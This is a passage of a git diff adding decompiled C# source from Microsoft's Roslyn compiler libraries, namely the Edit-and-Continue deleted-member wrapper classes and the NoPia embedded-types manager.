+} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.EditAndContinue/DeletedGenericParameter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.EditAndContinue/DeletedGenericParameter.cs new file mode 100644 index 0000000..f2c40aa --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.EditAndContinue/DeletedGenericParameter.cs @@ -0,0 +1,102 @@ +using System.Collections.Generic; +using System.Reflection.Metadata; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis.Emit.EditAndContinue; + +internal sealed class DeletedGenericParameter : DeletedDefinition, IGenericMethodParameter, IGenericParameter, IGenericParameterReference, ITypeReference, IReference, INamedEntity, IParameterListEntry, IGenericMethodParameterReference +{ + private readonly DeletedMethodDefinition _method; + + public IMethodDefinition DefiningMethod => _method; + + public bool MustBeReferenceType => OldDefinition.MustBeReferenceType; + + public bool MustBeValueType => OldDefinition.MustBeValueType; + + public bool MustHaveDefaultConstructor => OldDefinition.MustHaveDefaultConstructor; + + public TypeParameterVariance Variance => OldDefinition.Variance; + + public IGenericMethodParameter? AsGenericMethodParameter => OldDefinition.AsGenericMethodParameter; + + public IGenericTypeParameter? AsGenericTypeParameter => OldDefinition.AsGenericTypeParameter; + + public bool IsEnum => OldDefinition.IsEnum; + + public bool IsValueType => OldDefinition.IsValueType; + + public Microsoft.Cci.PrimitiveTypeCode TypeCode => OldDefinition.TypeCode; + + public TypeDefinitionHandle TypeDef => OldDefinition.TypeDef; + + public IGenericMethodParameterReference? AsGenericMethodParameterReference => OldDefinition.AsGenericMethodParameterReference; + + public IGenericTypeInstanceReference? AsGenericTypeInstanceReference => OldDefinition.AsGenericTypeInstanceReference; + + public IGenericTypeParameterReference? AsGenericTypeParameterReference => OldDefinition.AsGenericTypeParameterReference; + + public INamespaceTypeReference? AsNamespaceTypeReference => OldDefinition.AsNamespaceTypeReference; + + public INestedTypeReference? AsNestedTypeReference => OldDefinition.AsNestedTypeReference; + + public ISpecializedNestedTypeReference? AsSpecializedNestedTypeReference => OldDefinition.AsSpecializedNestedTypeReference; + + public string? Name => OldDefinition.Name; + + public ushort Index => OldDefinition.Index; + + IMethodReference IGenericMethodParameterReference.DefiningMethod => ((IGenericMethodParameterReference)OldDefinition).DefiningMethod; + + public DeletedGenericParameter(IGenericMethodParameter oldParameter, DeletedMethodDefinition method, Dictionary typesUsedByDeletedMembers) + : base(oldParameter, typesUsedByDeletedMembers) + { + _method = method; + } + + public IDefinition? AsDefinition(EmitContext context) + { + return OldDefinition.AsDefinition(context); + } + + public INamespaceTypeDefinition? AsNamespaceTypeDefinition(EmitContext context) + { + return OldDefinition.AsNamespaceTypeDefinition(context); + } + + public INestedTypeDefinition? AsNestedTypeDefinition(EmitContext context) + { + return OldDefinition.AsNestedTypeDefinition(context); + } + + public ITypeDefinition? AsTypeDefinition(EmitContext context) + { + return OldDefinition.AsTypeDefinition(context); + } + + public void Dispatch(MetadataVisitor visitor) + { + OldDefinition.Dispatch(visitor); + } + + public IEnumerable GetAttributes(EmitContext context) + { + return OldDefinition.GetAttributes(context); + } + + public IEnumerable GetConstraints(EmitContext context) + { + return OldDefinition.GetConstraints(context); + } + + public ISymbolInternal? GetInternalSymbol() + { + return OldDefinition.GetInternalSymbol(); + } + + public ITypeDefinition? GetResolvedType(EmitContext context) + { + return (ITypeDefinition)WrapType(OldDefinition.GetResolvedType(context)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.EditAndContinue/DeletedMethodBody.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.EditAndContinue/DeletedMethodBody.cs new file mode 100644 index 0000000..31e02d7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.EditAndContinue/DeletedMethodBody.cs @@ -0,0 +1,76 @@ +using System.Collections.Immutable; +using System.Reflection.Metadata; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Debugging; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis.Emit.EditAndContinue; + +internal sealed class DeletedMethodBody : IMethodBody +{ + private readonly DeletedMethodDefinition _methodDef; + + private readonly ImmutableArray _ilBytes; + + public ImmutableArray ExceptionRegions => ImmutableArray.Empty; + + public bool AreLocalsZeroed => false; + + public bool HasStackalloc => false; + + public ImmutableArray LocalVariables => ImmutableArray.Empty; + + public IMethodDefinition MethodDefinition => _methodDef; + + public StateMachineMoveNextBodyDebugInfo MoveNextBodyInfo => null; + + public ushort MaxStack => 8; + + public ImmutableArray IL => _ilBytes; + + public ImmutableArray SequencePoints => ImmutableArray.Empty; + + public bool HasDynamicLocalVariables => false; + + public ImmutableArray LocalScopes => ImmutableArray.Empty; + + public Microsoft.Cci.IImportScope ImportScope => null; + + public DebugId MethodId => default(DebugId); + + public ImmutableArray StateMachineHoistedLocalScopes => ImmutableArray.Empty; + + public string StateMachineTypeName => null; + + public ImmutableArray StateMachineHoistedLocalSlots => default(ImmutableArray); + + public ImmutableArray StateMachineAwaiterSlots => default(ImmutableArray); + + public ImmutableArray ClosureDebugInfo => ImmutableArray.Empty; + + public ImmutableArray LambdaDebugInfo => ImmutableArray.Empty; + + public ImmutableArray CodeCoverageSpans => ImmutableArray.Empty; + + public StateMachineStatesDebugInfo StateMachineStatesDebugInfo => default(StateMachineStatesDebugInfo); + + public bool IsPrimaryConstructor => false; + + public DeletedMethodBody(DeletedMethodDefinition methodDef, EmitContext context) + { + _methodDef = methodDef; + _ilBytes = GetIL(context); + } + + private static ImmutableArray GetIL(EmitContext context) + { + ISymbolInternal symbolInternal = context.Module.CommonCompilation.CommonGetWellKnownTypeMember(WellKnownMember.System_MissingMethodException__ctor); + ILBuilder iLBuilder = new ILBuilder((ITokenDeferral)context.Module, null, OptimizationLevel.Debug, areLocalsZeroed: false); + iLBuilder.EmitOpCode(ILOpCode.Newobj, 4); + iLBuilder.EmitToken(symbolInternal.GetCciAdapter(), context.SyntaxNode, context.Diagnostics); + iLBuilder.EmitThrow(isRethrow: false); + iLBuilder.Realize(); + return iLBuilder.RealizedIL; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.EditAndContinue/DeletedMethodDefinition.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.EditAndContinue/DeletedMethodDefinition.cs new file mode 100644 index 0000000..c7d2810 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.EditAndContinue/DeletedMethodDefinition.cs @@ -0,0 +1,165 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Emit.EditAndContinue; + +internal sealed class DeletedMethodDefinition : DeletedDefinition, IMethodDefinition, ITypeDefinitionMember, ITypeMemberReference, IReference, INamedEntity, IDefinition, IMethodReference, ISignature +{ + private readonly ITypeDefinition _containingTypeDef; + + private readonly ImmutableArray _parameters; + + private DeletedMethodBody? _body; + + public IEnumerable GenericParameters => WrapGenericMethodParameters(this, OldDefinition.GenericParameters); + + public bool HasDeclarativeSecurity => OldDefinition.HasDeclarativeSecurity; + + public bool IsAbstract => OldDefinition.IsAbstract; + + public bool IsAccessCheckedOnOverride => OldDefinition.IsAccessCheckedOnOverride; + + public bool IsConstructor => OldDefinition.IsConstructor; + + public bool IsExternal => OldDefinition.IsExternal; + + public bool IsHiddenBySignature => OldDefinition.IsHiddenBySignature; + + public bool IsNewSlot => OldDefinition.IsNewSlot; + + public bool IsPlatformInvoke => OldDefinition.IsPlatformInvoke; + + public bool IsRuntimeSpecial => OldDefinition.IsRuntimeSpecial; + + public bool IsSealed => OldDefinition.IsSealed; + + public bool IsSpecialName => OldDefinition.IsSpecialName; + + public bool IsStatic => OldDefinition.IsStatic; + + public bool IsVirtual => OldDefinition.IsVirtual; + + public ImmutableArray Parameters => StaticCast.From(_parameters); + + public IPlatformInvokeInformation PlatformInvokeData => OldDefinition.PlatformInvokeData; + + public bool RequiresSecurityObject => OldDefinition.RequiresSecurityObject; + + public bool ReturnValueIsMarshalledExplicitly => OldDefinition.ReturnValueIsMarshalledExplicitly; + + public IMarshallingInformation ReturnValueMarshallingInformation => OldDefinition.ReturnValueMarshallingInformation; + + public ImmutableArray ReturnValueMarshallingDescriptor => OldDefinition.ReturnValueMarshallingDescriptor; + + public IEnumerable SecurityAttributes => OldDefinition.SecurityAttributes; + + public INamespace ContainingNamespace => OldDefinition.ContainingNamespace; + + public ITypeDefinition ContainingTypeDefinition => _containingTypeDef; + + public TypeMemberVisibility Visibility => OldDefinition.Visibility; + + public bool AcceptsExtraArguments => OldDefinition.AcceptsExtraArguments; + + public ushort GenericParameterCount => OldDefinition.GenericParameterCount; + + public bool IsGeneric => OldDefinition.IsGeneric; + + public ImmutableArray ExtraParameters => OldDefinition.ExtraParameters; + + public IGenericMethodInstanceReference? AsGenericMethodInstanceReference => OldDefinition.AsGenericMethodInstanceReference; + + public ISpecializedMethodReference? AsSpecializedMethodReference => OldDefinition.AsSpecializedMethodReference; + + public CallingConvention CallingConvention => OldDefinition.CallingConvention; + + public ushort ParameterCount => (ushort)_parameters.Length; + + public ImmutableArray ReturnValueCustomModifiers => OldDefinition.ReturnValueCustomModifiers; + + public ImmutableArray RefCustomModifiers => OldDefinition.RefCustomModifiers; + + public bool ReturnValueIsByRef => OldDefinition.ReturnValueIsByRef; + + public string? Name => OldDefinition.Name; + + public DeletedMethodDefinition(IMethodDefinition oldMethod, ITypeDefinition containingTypeDef, Dictionary typesUsedByDeletedMembers) + : base(oldMethod, typesUsedByDeletedMembers) + { + _containingTypeDef = containingTypeDef; + _parameters = WrapParameters(oldMethod.Parameters); + } + + public IDefinition? AsDefinition(EmitContext context) + { + return OldDefinition.AsDefinition(context); + } + + public void Dispatch(MetadataVisitor visitor) + { + visitor.Visit(this); + } + + public IEnumerable GetAttributes(EmitContext context) + { + return WrapAttributes(OldDefinition.GetAttributes(context)); + } + + public IMethodBody GetBody(EmitContext context) + { + if (_body == null) + { + _body = new DeletedMethodBody(this, context); + } + return _body; + } + + public ITypeReference GetContainingType(EmitContext context) + { + return _containingTypeDef; + } + + public MethodImplAttributes GetImplementationAttributes(EmitContext context) + { + return OldDefinition.GetImplementationAttributes(context); + } + + public ISymbolInternal? GetInternalSymbol() + { + return OldDefinition.GetInternalSymbol(); + } + + public ImmutableArray GetParameters(EmitContext context) + { + return StaticCast.From(_parameters); + } + + public IMethodDefinition GetResolvedMethod(EmitContext context) + { + return this; + } + + public IEnumerable GetReturnValueAttributes(EmitContext context) + { + return WrapAttributes(OldDefinition.GetReturnValueAttributes(context)); + } + + public ITypeReference GetType(EmitContext context) + { + return WrapType(OldDefinition.GetType(context)); + } + + public sealed override bool Equals(object? obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Emit/EditAndContinue/DeletedMethodDefinition.cs", 164); + } + + public sealed override int GetHashCode() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Emit/EditAndContinue/DeletedMethodDefinition.cs", 170); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.EditAndContinue/DeletedParameterDefinition.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.EditAndContinue/DeletedParameterDefinition.cs new file mode 100644 index 0000000..aef19d9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.EditAndContinue/DeletedParameterDefinition.cs @@ -0,0 +1,69 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis.Emit.EditAndContinue; + +internal sealed class DeletedParameterDefinition : DeletedDefinition, IParameterDefinition, IDefinition, IReference, INamedEntity, IParameterTypeInformation, IParameterListEntry +{ + public bool HasDefaultValue => OldDefinition.HasDefaultValue; + + public bool IsIn => OldDefinition.IsIn; + + public bool IsMarshalledExplicitly => OldDefinition.IsMarshalledExplicitly; + + public bool IsOptional => OldDefinition.IsOptional; + + public bool IsOut => OldDefinition.IsOut; + + public IMarshallingInformation? MarshallingInformation => OldDefinition.MarshallingInformation; + + public ImmutableArray MarshallingDescriptor => OldDefinition.MarshallingDescriptor; + + public string? Name => OldDefinition.Name; + + public ImmutableArray CustomModifiers => OldDefinition.CustomModifiers; + + public ImmutableArray RefCustomModifiers => OldDefinition.RefCustomModifiers; + + public bool IsByReference => OldDefinition.IsByReference; + + public ushort Index => OldDefinition.Index; + + public DeletedParameterDefinition(IParameterDefinition oldParameter, Dictionary typesUsedByDeletedMembers) + : base(oldParameter, typesUsedByDeletedMembers) + { + } + + public IDefinition? AsDefinition(EmitContext context) + { + return this; + } + + public void Dispatch(MetadataVisitor visitor) + { + OldDefinition.Dispatch(visitor); + } + + public IEnumerable GetAttributes(EmitContext context) + { + return WrapAttributes(OldDefinition.GetAttributes(context)); + } + + public MetadataConstant? GetDefaultValue(EmitContext context) + { + return OldDefinition.GetDefaultValue(context); + } + + public ISymbolInternal? GetInternalSymbol() + { + return OldDefinition.GetInternalSymbol(); + } + + public ITypeReference GetType(EmitContext context) + { + return WrapType(OldDefinition.GetType(context)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.EditAndContinue/DeletedTypeDefinition.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.EditAndContinue/DeletedTypeDefinition.cs new file mode 100644 index 0000000..0275d14 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.EditAndContinue/DeletedTypeDefinition.cs @@ -0,0 +1,155 @@ +using System.Collections.Generic; +using System.Reflection.Metadata; +using System.Runtime.InteropServices; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis.Emit.EditAndContinue; + +internal sealed class DeletedTypeDefinition : ITypeDefinition, IDefinition, IReference, ITypeReference +{ + private readonly ITypeDefinition _oldTypeReference; + + public ushort Alignment => _oldTypeReference.Alignment; + + public IEnumerable GenericParameters => _oldTypeReference.GenericParameters; + + public ushort GenericParameterCount => _oldTypeReference.GenericParameterCount; + + public bool HasDeclarativeSecurity => _oldTypeReference.HasDeclarativeSecurity; + + public bool IsAbstract => _oldTypeReference.IsAbstract; + + public bool IsBeforeFieldInit => _oldTypeReference.IsBeforeFieldInit; + + public bool IsComObject => _oldTypeReference.IsComObject; + + public bool IsGeneric => _oldTypeReference.IsGeneric; + + public bool IsInterface => _oldTypeReference.IsInterface; + + public bool IsDelegate => _oldTypeReference.IsDelegate; + + public bool IsRuntimeSpecial => _oldTypeReference.IsRuntimeSpecial; + + public bool IsSerializable => _oldTypeReference.IsSerializable; + + public bool IsSpecialName => _oldTypeReference.IsSpecialName; + + public bool IsWindowsRuntimeImport => _oldTypeReference.IsWindowsRuntimeImport; + + public bool IsSealed => _oldTypeReference.IsSealed; + + public LayoutKind Layout => _oldTypeReference.Layout; + + public IEnumerable SecurityAttributes => _oldTypeReference.SecurityAttributes; + + public uint SizeOf => _oldTypeReference.SizeOf; + + public CharSet StringFormat => _oldTypeReference.StringFormat; + + public bool IsEnum => _oldTypeReference.IsEnum; + + public bool IsValueType => _oldTypeReference.IsValueType; + + public Microsoft.Cci.PrimitiveTypeCode TypeCode => _oldTypeReference.TypeCode; + + public TypeDefinitionHandle TypeDef => _oldTypeReference.TypeDef; + + public IGenericMethodParameterReference? AsGenericMethodParameterReference => _oldTypeReference.AsGenericMethodParameterReference; + + public IGenericTypeInstanceReference? AsGenericTypeInstanceReference => _oldTypeReference.AsGenericTypeInstanceReference; + + public IGenericTypeParameterReference? AsGenericTypeParameterReference => _oldTypeReference.AsGenericTypeParameterReference; + + public INamespaceTypeReference? AsNamespaceTypeReference => _oldTypeReference.AsNamespaceTypeReference; + + public INestedTypeReference? AsNestedTypeReference => _oldTypeReference.AsNestedTypeReference; + + public ISpecializedNestedTypeReference? AsSpecializedNestedTypeReference => _oldTypeReference.AsSpecializedNestedTypeReference; + + public DeletedTypeDefinition(ITypeDefinition typeReference) + { + _oldTypeReference = typeReference; + } + + public IDefinition? AsDefinition(EmitContext context) + { + return this; + } + + public INamespaceTypeDefinition? AsNamespaceTypeDefinition(EmitContext context) + { + return _oldTypeReference.AsNamespaceTypeDefinition(context); + } + + public INestedTypeDefinition? AsNestedTypeDefinition(EmitContext context) + { + return _oldTypeReference.AsNestedTypeDefinition(context); + } + + public ITypeDefinition? AsTypeDefinition(EmitContext context) + { + return this; + } + + public void Dispatch(MetadataVisitor visitor) + { + _oldTypeReference.Dispatch(visitor); + } + + public IEnumerable GetAttributes(EmitContext context) + { + return _oldTypeReference.GetAttributes(context); + } + + public ITypeReference? GetBaseClass(EmitContext context) + { + return _oldTypeReference.GetBaseClass(context); + } + + public IEnumerable GetEvents(EmitContext context) + { + return _oldTypeReference.GetEvents(context); + } + + public IEnumerable GetExplicitImplementationOverrides(EmitContext context) + { + return _oldTypeReference.GetExplicitImplementationOverrides(context); + } + + public IEnumerable GetFields(EmitContext context) + { + return _oldTypeReference.GetFields(context); + } + + public ISymbolInternal? GetInternalSymbol() + { + return _oldTypeReference.GetInternalSymbol(); + } + + public IEnumerable GetMethods(EmitContext context) + { + return _oldTypeReference.GetMethods(context); + } + + public IEnumerable GetNestedTypes(EmitContext context) + { + return _oldTypeReference.GetNestedTypes(context); + } + + public IEnumerable GetProperties(EmitContext context) + { + return _oldTypeReference.GetProperties(context); + } + + public ITypeDefinition? GetResolvedType(EmitContext context) + { + return _oldTypeReference.GetResolvedType(context); + } + + public IEnumerable Interfaces(EmitContext context) + { + return _oldTypeReference.Interfaces(context); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.NoPia/CommonEmbeddedTypesManager.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.NoPia/CommonEmbeddedTypesManager.cs new file mode 100644 index 0000000..f70e387 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.NoPia/CommonEmbeddedTypesManager.cs @@ -0,0 +1,12 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.Emit.NoPia; + +internal abstract class CommonEmbeddedTypesManager +{ + public abstract bool IsFrozen { get; } + + public abstract ImmutableArray GetTypes(DiagnosticBag diagnostics, HashSet namesOfTopLevelTypes); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.NoPia/EmbeddedTypesManager.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.NoPia/EmbeddedTypesManager.cs new file mode 100644 index 0000000..fbe78a3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.NoPia/EmbeddedTypesManager.cs @@ -0,0 +1,1538 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection; +using System.Reflection.Metadata; +using System.Runtime.InteropServices; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Debugging; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Emit.NoPia; + +internal abstract class EmbeddedTypesManager : CommonEmbeddedTypesManager where TPEModuleBuilder : CommonPEModuleBuilder where TModuleCompilationState : CommonModuleCompilationState where TEmbeddedTypesManager : EmbeddedTypesManager where TSyntaxNode : SyntaxNode where TAttributeData : AttributeData, ICustomAttribute where TAssemblySymbol : class where TNamedTypeSymbol : class, TSymbol, INamespaceTypeReference where TFieldSymbol : class, TSymbol, IFieldReference where TMethodSymbol : class, TSymbol, IMethodReference where TEventSymbol : class, TSymbol, ITypeMemberReference where TPropertySymbol : class, TSymbol, ITypeMemberReference where TParameterSymbol : class, TSymbol, IParameterListEntry, INamedEntity where TTypeParameterSymbol : class, TSymbol, IGenericMethodParameterReference where TEmbeddedType : EmbeddedTypesManager.CommonEmbeddedType where TEmbeddedField : EmbeddedTypesManager.CommonEmbeddedField where TEmbeddedMethod : EmbeddedTypesManager.CommonEmbeddedMethod where TEmbeddedEvent : EmbeddedTypesManager.CommonEmbeddedEvent where TEmbeddedProperty : EmbeddedTypesManager.CommonEmbeddedProperty where TEmbeddedParameter : EmbeddedTypesManager.CommonEmbeddedParameter where TEmbeddedTypeParameter : EmbeddedTypesManager.CommonEmbeddedTypeParameter +{ + internal abstract class CommonEmbeddedEvent : CommonEmbeddedMember, IEventDefinition, ITypeDefinitionMember, ITypeMemberReference, IReference, INamedEntity, IDefinition + { + private readonly TEmbeddedMethod _adder; + + private readonly TEmbeddedMethod _remover; + + private readonly TEmbeddedMethod _caller; + + private int _isUsedForComAwareEventBinding; + + internal override TEmbeddedTypesManager TypeManager => AnAccessor.TypeManager; + + protected abstract bool IsRuntimeSpecial { get; } + + protected abstract bool IsSpecialName { get; } + + protected abstract TEmbeddedType ContainingType { get; } + + protected abstract TypeMemberVisibility Visibility { get; } + + protected abstract string Name { get; } + + public TEventSymbol UnderlyingEvent => UnderlyingSymbol; + + IMethodReference IEventDefinition.Adder => _adder; + + IMethodReference IEventDefinition.Remover => _remover; + + IMethodReference IEventDefinition.Caller => _caller; + + bool IEventDefinition.IsRuntimeSpecial => IsRuntimeSpecial; + + bool IEventDefinition.IsSpecialName => IsSpecialName; + + protected TEmbeddedMethod AnAccessor => _adder ?? _remover; + + ITypeDefinition ITypeDefinitionMember.ContainingTypeDefinition => ContainingType; + + TypeMemberVisibility ITypeDefinitionMember.Visibility => Visibility; + + string INamedEntity.Name => Name; + + protected CommonEmbeddedEvent(TEventSymbol underlyingEvent, TEmbeddedMethod adder, TEmbeddedMethod remover, TEmbeddedMethod caller) + : base(underlyingEvent) + { + _adder = adder; + _remover = remover; + _caller = caller; + } + + protected abstract ITypeReference GetType(TPEModuleBuilder moduleBuilder, TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics); + + protected abstract void EmbedCorrespondingComEventInterfaceMethodInternal(TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics, bool isUsedForComAwareEventBinding); + + internal void EmbedCorrespondingComEventInterfaceMethod(TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics, bool isUsedForComAwareEventBinding) + { + if (_isUsedForComAwareEventBinding == 0 && (!isUsedForComAwareEventBinding || Interlocked.CompareExchange(ref _isUsedForComAwareEventBinding, 1, 0) == 0)) + { + EmbedCorrespondingComEventInterfaceMethodInternal(syntaxNodeOpt, diagnostics, isUsedForComAwareEventBinding); + } + } + + IEnumerable IEventDefinition.GetAccessors(EmitContext context) + { + if (_adder != null) + { + yield return _adder; + } + if (_remover != null) + { + yield return _remover; + } + if (_caller != null) + { + yield return _caller; + } + } + + ITypeReference IEventDefinition.GetType(EmitContext context) + { + return GetType((TPEModuleBuilder)context.Module, (TSyntaxNode)context.SyntaxNode, context.Diagnostics); + } + + ITypeReference ITypeMemberReference.GetContainingType(EmitContext context) + { + return ContainingType; + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + visitor.Visit(this); + } + + IDefinition IReference.AsDefinition(EmitContext context) + { + return this; + } + } + + internal abstract class CommonEmbeddedField : CommonEmbeddedMember, IFieldDefinition, ITypeDefinitionMember, ITypeMemberReference, IReference, INamedEntity, IDefinition, IFieldReference + { + public readonly TEmbeddedType ContainingType; + + public TFieldSymbol UnderlyingField => UnderlyingSymbol; + + protected abstract bool IsCompileTimeConstant { get; } + + protected abstract bool IsNotSerialized { get; } + + protected abstract bool IsReadOnly { get; } + + protected abstract bool IsRuntimeSpecial { get; } + + protected abstract bool IsSpecialName { get; } + + protected abstract bool IsStatic { get; } + + protected abstract bool IsMarshalledExplicitly { get; } + + protected abstract IMarshallingInformation MarshallingInformation { get; } + + protected abstract ImmutableArray MarshallingDescriptor { get; } + + protected abstract int? TypeLayoutOffset { get; } + + protected abstract TypeMemberVisibility Visibility { get; } + + protected abstract string Name { get; } + + ImmutableArray IFieldDefinition.MappedData => default(ImmutableArray); + + bool IFieldDefinition.IsCompileTimeConstant => IsCompileTimeConstant; + + bool IFieldDefinition.IsNotSerialized => IsNotSerialized; + + bool IFieldDefinition.IsReadOnly => IsReadOnly; + + bool IFieldDefinition.IsRuntimeSpecial => IsRuntimeSpecial; + + bool IFieldDefinition.IsSpecialName => IsSpecialName; + + bool IFieldDefinition.IsStatic => IsStatic; + + bool IFieldDefinition.IsMarshalledExplicitly => IsMarshalledExplicitly; + + IMarshallingInformation IFieldDefinition.MarshallingInformation => MarshallingInformation; + + ImmutableArray IFieldDefinition.MarshallingDescriptor => MarshallingDescriptor; + + int IFieldDefinition.Offset => TypeLayoutOffset.GetValueOrDefault(); + + ITypeDefinition ITypeDefinitionMember.ContainingTypeDefinition => ContainingType; + + TypeMemberVisibility ITypeDefinitionMember.Visibility => Visibility; + + string INamedEntity.Name => Name; + + ImmutableArray IFieldReference.RefCustomModifiers => UnderlyingField.RefCustomModifiers; + + bool IFieldReference.IsByReference => UnderlyingField.IsByReference; + + ISpecializedFieldReference IFieldReference.AsSpecializedFieldReference => null; + + bool IFieldReference.IsContextualNamedEntity => false; + + protected CommonEmbeddedField(TEmbeddedType containingType, TFieldSymbol underlyingField) + : base(underlyingField) + { + ContainingType = containingType; + } + + protected abstract MetadataConstant GetCompileTimeValue(EmitContext context); + + MetadataConstant IFieldDefinition.GetCompileTimeValue(EmitContext context) + { + return GetCompileTimeValue(context); + } + + ITypeReference ITypeMemberReference.GetContainingType(EmitContext context) + { + return ContainingType; + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + visitor.Visit(this); + } + + IDefinition IReference.AsDefinition(EmitContext context) + { + return this; + } + + ITypeReference IFieldReference.GetType(EmitContext context) + { + return UnderlyingField.GetType(context); + } + + IFieldDefinition IFieldReference.GetResolvedField(EmitContext context) + { + return this; + } + } + + internal abstract class CommonEmbeddedMember + { + internal abstract TEmbeddedTypesManager TypeManager { get; } + } + + internal abstract class CommonEmbeddedMember : CommonEmbeddedMember, IReference where TMember : TSymbol, ITypeMemberReference + { + protected readonly TMember UnderlyingSymbol; + + private ImmutableArray _lazyAttributes; + + protected CommonEmbeddedMember(TMember underlyingSymbol) + { + UnderlyingSymbol = underlyingSymbol; + } + + protected abstract IEnumerable GetCustomAttributesToEmit(TPEModuleBuilder moduleBuilder); + + protected virtual TAttributeData PortAttributeIfNeedTo(TAttributeData attrData, TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + return null; + } + + private ImmutableArray GetAttributes(TPEModuleBuilder moduleBuilder, TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + foreach (TAttributeData item in GetCustomAttributesToEmit(moduleBuilder)) + { + if (TypeManager.IsTargetAttribute((TSymbol)(object)UnderlyingSymbol, item, AttributeDescription.DispIdAttribute)) + { + if (item.CommonConstructorArguments.Length == 1) + { + instance.AddOptional(TypeManager.CreateSynthesizedAttribute(WellKnownMember.System_Runtime_InteropServices_DispIdAttribute__ctor, item, syntaxNodeOpt, diagnostics)); + } + } + else + { + instance.AddOptional(PortAttributeIfNeedTo(item, syntaxNodeOpt, diagnostics)); + } + } + return instance.ToImmutableAndFree(); + } + + IEnumerable IReference.GetAttributes(EmitContext context) + { + if (_lazyAttributes.IsDefault) + { + DiagnosticBag instance = DiagnosticBag.GetInstance(); + ImmutableArray attributes = GetAttributes((TPEModuleBuilder)context.Module, (TSyntaxNode)context.SyntaxNode, instance); + if (ImmutableInterlocked.InterlockedInitialize(ref _lazyAttributes, attributes)) + { + context.Diagnostics.AddRange(instance); + } + instance.Free(); + } + return _lazyAttributes; + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Emit/NoPia/CommonEmbeddedMember.cs", 109); + } + + IDefinition IReference.AsDefinition(EmitContext context) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Emit/NoPia/CommonEmbeddedMember.cs", 114); + } + + ISymbolInternal IReference.GetInternalSymbol() + { + return null; + } + + public sealed override bool Equals(object obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Emit/NoPia/CommonEmbeddedMember.cs", 122); + } + + public sealed override int GetHashCode() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Emit/NoPia/CommonEmbeddedMember.cs", 128); + } + } + + internal abstract class CommonEmbeddedMethod : CommonEmbeddedMember, IMethodDefinition, ITypeDefinitionMember, ITypeMemberReference, IReference, INamedEntity, IDefinition, IMethodReference, ISignature + { + private sealed class EmptyBody : IMethodBody + { + private readonly CommonEmbeddedMethod _method; + + ImmutableArray IMethodBody.ExceptionRegions => ImmutableArray.Empty; + + bool IMethodBody.HasStackalloc => false; + + bool IMethodBody.AreLocalsZeroed => false; + + ImmutableArray IMethodBody.LocalVariables => ImmutableArray.Empty; + + IMethodDefinition IMethodBody.MethodDefinition => _method; + + ushort 